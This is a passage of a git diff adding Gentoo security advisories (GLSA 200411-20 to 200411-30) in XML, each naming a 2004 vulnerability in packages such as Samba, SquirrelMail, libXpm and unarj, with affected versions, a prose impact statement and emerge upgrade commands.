diff --git a/xml/htdocs/security/en/glsa/glsa-200411-20.xml b/xml/htdocs/security/en/glsa/glsa-200411-20.xml
new file mode 100644
index 00000000..838c3d89
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-20.xml
@@ -0,0 +1,61 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-20">
+  <title>ez-ipupdate: Format string vulnerability</title>
+  <synopsis>
+    ez-ipupdate contains a format string vulnerability that could lead to
+    execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">ez-ipupdate</product>
+  <announced>November 11, 2004</announced>
+  <revised>November 11, 2004: 01</revised>
+  <bug>69658</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-dns/ez-ipupdate" auto="yes" arch="*">
+      <unaffected range="ge">3.0.11_beta8-r1</unaffected>
+      <vulnerable range="le">3.0.11_beta8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    ez-ipupdate is a utility for updating host name information for a large number of dynamic DNS services.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ulf Harnhammar from the Debian Security Audit Project discovered a format string vulnerability in ez-ipupdate.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this to execute arbitrary code with the permissions of the user running ez-ipupdate, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ez-ipupdate users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=net-dns/ez-ipupdate-3.0.11_beta8-r1"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0980">CAN-2004-0980</uri>
+    <uri link="http://lists.netsys.com/pipermail/full-disclosure/2004-November/028590.html">Full Disclosure Announcement</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue,  9 Nov 2004 20:12:06 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Nov 2004 14:43:17 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-21.xml b/xml/htdocs/security/en/glsa/glsa-200411-21.xml
new file mode 100644
index 00000000..eb612d24
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-21.xml
@@ -0,0 +1,76 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-21">
+  <title>Samba: Multiple vulnerabilities</title>
+  <synopsis>
+    Samba is vulnerable to a buffer overflow that could lead to execution of
+    arbitrary code (CAN-2004-0882). Another flaw in Samba may allow a remote
+    attacker to cause a Denial of Service by excessive consumption of CPU
+    cycles (CAN-2004-0930).
+  </synopsis>
+  <product type="ebuild">samba</product>
+  <announced>November 11, 2004</announced>
+  <revised>November 15, 2004: 02</revised>
+  <bug>70429</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-fs/samba" auto="yes" arch="*">
+      <unaffected range="ge">3.0.8</unaffected>
+      <unaffected range="lt">3.0</unaffected>
+      <vulnerable range="lt">3.0.8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Samba is a freely available SMB/CIFS implementation which allows
+    seamless interoperability of file and print services to other SMB/CIFS
+    clients.
+    </p>
+  </background>
+  <description>
+    <p>
+    Samba fails to do proper bounds checking when handling
+    TRANSACT2_QFILEPATHINFO replies. Additionally an input validation flaw
+    exists in ms_fnmatch.c when matching filenames that contain wildcards.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker may be able to execute arbitrary code with the permissions
+    of the user running Samba. A remote attacker may also be able to cause
+    an abnormal consumption of CPU resources, resulting in slower
+    performance of the server or even a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Samba users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=net-fs/samba-3.0.8"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.samba.org/samba/security/CAN-2004-0930.html">Samba Security Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0930">CAN-2004-0930</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0882">CAN-2004-0882</uri>
+    <uri link="http://security.e-matters.de/advisories/132004.html">E-Matters Advisory 13/2004</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 10 Nov 2004 10:26:07 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 10 Nov 2004 20:53:51 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 11 Nov 2004 10:18:49 +0000">
+    vorlon078
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-22.xml b/xml/htdocs/security/en/glsa/glsa-200411-22.xml
new file mode 100644
index 00000000..5db9dfb0
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-22.xml
@@ -0,0 +1,82 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-22">
+  <title>Davfs2, lvm-user: Insecure tempfile handling</title>
+  <synopsis>
+    Davfs2 and the lvmcreate_initrd script (included in the lvm-user package)
+    are both vulnerable to symlink attacks, potentially allowing a local user
+    to overwrite arbitrary files with the rights of the user running them.
+  </synopsis>
+  <product type="ebuild">davfs2</product>
+  <announced>November 11, 2004</announced>
+  <revised>November 11, 2004: 01</revised>
+  <bug>68406</bug>
+  <bug>69149</bug>
+  <access>local</access>
+  <affected>
+    <package name="net-fs/davfs2" auto="yes" arch="*">
+      <unaffected range="ge">0.2.2-r1</unaffected>
+      <vulnerable range="lt">0.2.2-r1</vulnerable>
+    </package>
+    <package name="sys-fs/lvm-user" auto="yes" arch="*">
+      <unaffected range="ge">1.0.7-r2</unaffected>
+      <vulnerable range="lt">1.0.7-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Davfs2 is a file system driver that allows you to mount a WebDAV
+    server as a local disk drive. lvm-user is a package providing userland
+    utilities for LVM (Logical Volume Management) 1.x features.
+    </p>
+  </background>
+  <description>
+    <p>
+    Florian Schilhabel from the Gentoo Linux Security Audit Team found
+    that Davfs2 insecurely created .pid files in /tmp. Furthermore, Trustix
+    Secure Linux found that the lvmcreate_initrd script, included in the
+    lvm-user Gentoo package, also creates temporary files in
+    world-writeable directories with predictable names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could create symbolic links in the temporary
+    files directory, pointing to a valid file somewhere on the filesystem.
+    When Davfs2 or lvmcreate_initrd is called, this would result in the
+    file being overwritten with the rights of the user running the
+    software, which could be the root user.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Davfs2 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=net-fs/davfs2-0.2.2-r1"</code>
+    <p>
+    All lvm-user users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=sys-fs/lvm-user-1.0.7-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0972">CAN-2004-0972</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Wed, 10 Nov 2004 09:15:59 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 11 Nov 2004 20:29:52 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-23.xml b/xml/htdocs/security/en/glsa/glsa-200411-23.xml
new file mode 100644
index 00000000..fcb36703
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-23.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-23">
+  <title>Ruby: Denial of Service issue</title>
+  <synopsis>
+    The CGI module in Ruby can be sent into an infinite loop, resulting in a
+    Denial of Service condition.
+  </synopsis>
+  <product type="ebuild">Ruby</product>
+  <announced>November 16, 2004</announced>
+  <revised>November 16, 2004: 01</revised>
+  <bug>69985</bug>
+  <access>remote</access>
+  <affected>
+    <package name="dev-lang/ruby" auto="yes" arch="*">
+      <unaffected range="rge">1.6.8-r12</unaffected>
+      <unaffected range="ge">1.8.2_pre3</unaffected>
+      <vulnerable range="lt">1.8.2_pre3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Ruby is an interpreted scripting language for quick and easy
+    object-oriented programming. Ruby's CGI module can be used to build web
+    applications.
+    </p>
+  </background>
+  <description>
+    <p>
+    Ruby's developers found and fixed an issue in the CGI module that
+    can be triggered remotely and cause an infinite loop.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could trigger the vulnerability through an
+    exposed Ruby web application and cause the server to use unnecessary
+    CPU resources, potentially resulting in a Denial of Service.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Ruby 1.6.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=dev-lang/ruby-1.6.8-r12"</code>
+    <p>
+    All Ruby 1.8.x users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=dev-lang/ruby-1.8.2_pre3"</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0983">CAN-2004-0983</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 15 Nov 2004 10:02:12 +0000">
+    koon
+  </metadata>
+  <metadata tag="bugReady" timestamp="Mon, 15 Nov 2004 10:02:22 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 15 Nov 2004 20:10:34 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-24.xml b/xml/htdocs/security/en/glsa/glsa-200411-24.xml
new file mode 100644
index 00000000..f18149b2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-24.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-24">
+  <title>BNC: Buffer overflow vulnerability</title>
+  <synopsis>
+    BNC contains a buffer overflow vulnerability that may lead to Denial of
+    Service and execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">BNC</product>
+  <announced>November 16, 2004</announced>
+  <revised>November 16, 2004: 01</revised>
+  <bug>70674</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/bnc" auto="yes" arch="*">
+      <unaffected range="ge">2.9.1</unaffected>
+      <vulnerable range="lt">2.9.1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    BNC (BouNCe) is an IRC proxy server.
+    </p>
+  </background>
+  <description>
+    <p>
+    Leon Juranic discovered that BNC fails to do proper bounds
+    checking when checking server response.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    An attacker could exploit this to cause a Denial of Service and
+    potentially execute arbitary code with the permissions of the user
+    running BNC.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All BNC users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose ">=net-irc/bnc-2.9.1"</code>
+  </resolution>
+  <references>
+    <uri link="http://gotbnc.com/changes.html">BNC ChangeLog</uri>
+    <uri link="http://security.lss.hr/en/index.php?page=details&amp;ID=LSS-2004-11-03">LSS-2004-11-03</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 11 Nov 2004 20:17:39 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 11 Nov 2004 21:49:41 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 12 Nov 2004 23:44:26 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-25.xml b/xml/htdocs/security/en/glsa/glsa-200411-25.xml
new file mode 100644
index 00000000..05174c69
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-25.xml
@@ -0,0 +1,73 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-25">
+  <title>SquirrelMail: Encoded text XSS vulnerability</title>
+  <synopsis>
+    Squirrelmail fails to properly sanitize user input, which could lead to a
+    compromise of webmail accounts.
+  </synopsis>
+  <product type="ebuild">SquirrelMail</product>
+  <announced>November 17, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>70739</bug>
+  <access>remote</access>
+  <affected>
+    <package name="mail-client/squirrelmail" auto="yes" arch="*">
+      <unaffected range="ge">1.4.3a-r2</unaffected>
+      <vulnerable range="lt">1.4.3a-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    SquirrelMail is a webmail package written in PHP. It supports IMAP and
+    SMTP, and can optionally be installed with SQL support.
+    </p>
+  </background>
+  <description>
+    <p>
+    SquirrelMail fails to properly sanitize certain strings when decoding
+    specially-crafted headers.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    By enticing a user to read a specially-crafted e-mail, an attacker can
+    execute arbitrary scripts running in the context of the victim's
+    browser. This could lead to a compromise of the user's webmail account,
+    cookie theft, etc.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All SquirrelMail users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=mail-client/squirrelmail-1.4.3a-r2&quot;</code>
+    <p>
+    Note: Users with the vhosts USE flag set should manually use
+    webapp-config to finalize the update.
+    </p>
+  </resolution>
+  <references>
+    <uri link="http://article.gmane.org/gmane.mail.squirrelmail.user/21169">SquirrelMail Advisory</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1036">CVE-2004-1036</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 13 Nov 2004 07:50:02 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 14 Nov 2004 18:02:58 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 14 Nov 2004 18:40:00 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-26.xml b/xml/htdocs/security/en/glsa/glsa-200411-26.xml
new file mode 100644
index 00000000..fbc81a6d
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-26.xml
@@ -0,0 +1,90 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-26">
+  <title>GIMPS, SETI@home, ChessBrain: Insecure installation</title>
+  <synopsis>
+    Improper file ownership allows user-owned files to be run with root
+    privileges by init scripts.
+  </synopsis>
+  <product type="ebuild">GIMPS,SETI@home,ChessBrain</product>
+  <announced>November 17, 2004</announced>
+  <revised>May 22, 2006: 03</revised>
+  <bug>69868</bug>
+  <access>local</access>
+  <affected>
+    <package name="sci-misc/gimps" auto="yes" arch="*">
+      <unaffected range="ge">23.9-r1</unaffected>
+      <vulnerable range="le">23.9</vulnerable>
+    </package>
+    <package name="sci-misc/setiathome" auto="yes" arch="*">
+      <unaffected range="ge">3.08-r4</unaffected>
+      <unaffected range="rge">3.03-r2</unaffected>
+      <vulnerable range="le">3.08-r3</vulnerable>
+    </package>
+    <package name="sci-misc/chessbrain" auto="yes" arch="*">
+      <unaffected range="ge">20407-r1</unaffected>
+      <vulnerable range="le">20407</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GIMPS is a client for the distributed Great Internet Mersenne Prime
+    Search. SETI@home is the client for the Search for Extraterrestrial
+    Intelligence (SETI) project. ChessBrain is the client for the
+    distributed chess supercomputer.
+    </p>
+  </background>
+  <description>
+    <p>
+    GIMPS, SETI@home and ChessBrain ebuilds install user-owned binaries and
+    init scripts which are executed with root privileges.
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    This could lead to a local privilege escalation or root compromise.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GIMPS users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sci-misc/gimps-23.9-r1&quot;</code>
+    <p>
+    All SETI@home users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sci-misc/setiathome-3.03-r2&quot;</code>
+    <p>
+    All ChessBrain users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sci-misc/chessbrain-20407-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1115">CVE-2004-1115</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1116">CVE-2004-1116</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1117">CVE-2004-1117</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 13 Nov 2004 08:00:15 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 14 Nov 2004 18:34:14 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 14 Nov 2004 18:38:42 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-27.xml b/xml/htdocs/security/en/glsa/glsa-200411-27.xml
new file mode 100644
index 00000000..e42743f2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-27.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-27">
+  <title>Fcron: Multiple vulnerabilities</title>
+  <synopsis>
+    Multiple vulnerabilities in Fcron can allow a local user to potentially
+    cause a Denial of Service.
+  </synopsis>
+  <product type="ebuild">fcron</product>
+  <announced>November 18, 2004</announced>
+  <revised>November 18, 2004: 01</revised>
+  <bug>71311</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-process/fcron" auto="yes" arch="*">
+      <unaffected range="rge">2.0.2</unaffected>
+      <unaffected range="ge">2.9.5.1</unaffected>
+      <vulnerable range="le">2.9.5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Fcron is a command scheduler with extended capabilities over cron
+    and anacron.
+    </p>
+  </background>
+  <description>
+    <p>
+    Due to design errors in the fcronsighup program, Fcron may allow a
+    local user to bypass access restrictions (CAN-2004-1031), view the
+    contents of root owned files (CAN-2004-1030), remove arbitrary files or
+    create empty files (CAN-2004-1032), and send a SIGHUP to any process. A
+    vulnerability also exists in fcrontab which may allow local users to
+    view the contents of fcron.allow and fcron.deny (CAN-2004-1033).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit these vulnerabilities to perform a
+    Denial of Service on the system running Fcron.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Make sure the fcronsighup and fcrontab binaries are only
+    executable by trusted users.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Fcron users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=sys-process/fcron-2.0.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1030">CAN-2004-1030</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1031">CAN-2004-1031</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1032">CAN-2004-1032</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1033">CAN-2004-1033</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 16 Nov 2004 16:18:47 +0000">
+    lewk
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 16 Nov 2004 19:52:12 +0000">
+    lewk
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 17 Nov 2004 19:04:05 +0000">
+    lewk
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-28.xml b/xml/htdocs/security/en/glsa/glsa-200411-28.xml
new file mode 100644
index 00000000..dcdf0029
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-28.xml
@@ -0,0 +1,79 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-28">
+  <title>X.Org, XFree86: libXpm vulnerabilities</title>
+  <synopsis>
+    libXpm contains several vulnerabilities that could lead to a Denial of
+    Service and arbitrary code execution.
+  </synopsis>
+  <product type="ebuild">X.Org, XFree86</product>
+  <announced>November 19, 2004</announced>
+  <revised>November 19, 2004: 01</revised>
+  <bug>68544</bug>
+  <access>remote</access>
+  <affected>
+    <package name="x11-base/xorg-x11" auto="yes" arch="*">
+      <unaffected range="ge">6.8.0-r3</unaffected>
+      <unaffected range="rge">6.7.0-r3</unaffected>
+      <vulnerable range="lt">6.8.0-r3</vulnerable>
+    </package>
+    <package name="x11-base/xfree" auto="yes" arch="*">
+      <unaffected range="ge">4.3.0-r8</unaffected>
+      <vulnerable range="lt">4.3.0-r8</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    libXpm is a pixmap manipulation library for the X Window System,
+    included in both X.Org and XFree86.
+    </p>
+  </background>
+  <description>
+    <p>
+    Several issues were discovered in libXpm, including integer
+    overflows, out-of-bounds memory accesses, insecure path traversal and
+    an endless loop.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could craft a malicious pixmap file and entice a user
+    to use it with an application linked against libXpm. This could lead to
+    Denial of Service or arbitrary code execution.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All X.Org users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xorg-x11-6.7.0-r3&quot;</code>
+    <p>
+    All XFree86 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=x11-base/xfree-x11-4.3.0-r8&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0914">CAN-2004-0914</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 17 Nov 2004 20:14:27 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Wed, 17 Nov 2004 20:53:59 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Nov 2004 10:05:15 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-29.xml b/xml/htdocs/security/en/glsa/glsa-200411-29.xml
new file mode 100644
index 00000000..1cf979aa
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-29.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-29">
+  <title>unarj: Long filenames buffer overflow and a path traversal vulnerability</title>
+  <synopsis>
+    unarj contains a buffer overflow and a directory traversal vulnerability.
+    This could lead to overwriting of arbitrary files or the execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">unarj</product>
+  <announced>November 19, 2004</announced>
+  <revised>November 19, 2004: 01</revised>
+  <bug>70966</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/unarj" auto="yes" arch="*">
+      <unaffected range="ge">2.63a-r2</unaffected>
+      <vulnerable range="lt">2.63a-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    unarj is an ARJ archive decompressor.
+    </p>
+  </background>
+  <description>
+    <p>
+    unarj has a bounds checking vulnerability within the handling of
+    long filenames in archives. It also fails to properly sanitize paths
+    when extracting an archive (if the "x" option is used to preserve
+    paths).
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could trigger a buffer overflow or a path traversal by
+    enticing a user to open an archive containing specially-crafted path
+    names, potentially resulting in the overwrite of files or execution of
+    arbitrary code with the permissions of the user running unarj.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All unarj users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/unarj-2.63a-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0947">CAN-2004-0947</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1027">CAN-2004-1027</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 18 Nov 2004 16:42:36 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 18 Nov 2004 16:42:55 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 19 Nov 2004 09:32:28 +0000">
+    koon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200411-30.xml b/xml/htdocs/security/en/glsa/glsa-200411-30.xml
new file mode 100644
index 00000000..ad6a110a
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200411-30.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200411-30">
+  <title>pdftohtml: Vulnerabilities in included Xpdf</title>
+  <synopsis>
+    pdftohtml includes vulnerable Xpdf code to handle PDF files, making it
+    vulnerable to execution of arbitrary code upon converting a malicious PDF
+    file.
+  </synopsis>
+  <product type="ebuild">pdftohtml</product>
+  <announced>November 23, 2004</announced>
+  <revised>November 23, 2004: 01</revised>
+  <bug>69019</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/pdftohtml" auto="yes" arch="*">
+      <unaffected range="ge">0.36-r1</unaffected>
+      <vulnerable range="le">0.36</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    pdftohtml is a utility to convert PDF files to HTML or XML
+    formats. It makes use of Xpdf code to decode PDF files.
+    </p>
+  </background>
+  <description>
+    <p>
+    Xpdf is vulnerable to multiple integer overflows, as described in
+    GLSA 200410-20.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to convert a specially-crafted PDF
+    file, potentially resulting in execution of arbitrary code with the
+    rights of the user running pdftohtml.
+    </p>
+  </impact>
+  <workaround>
+    <p>
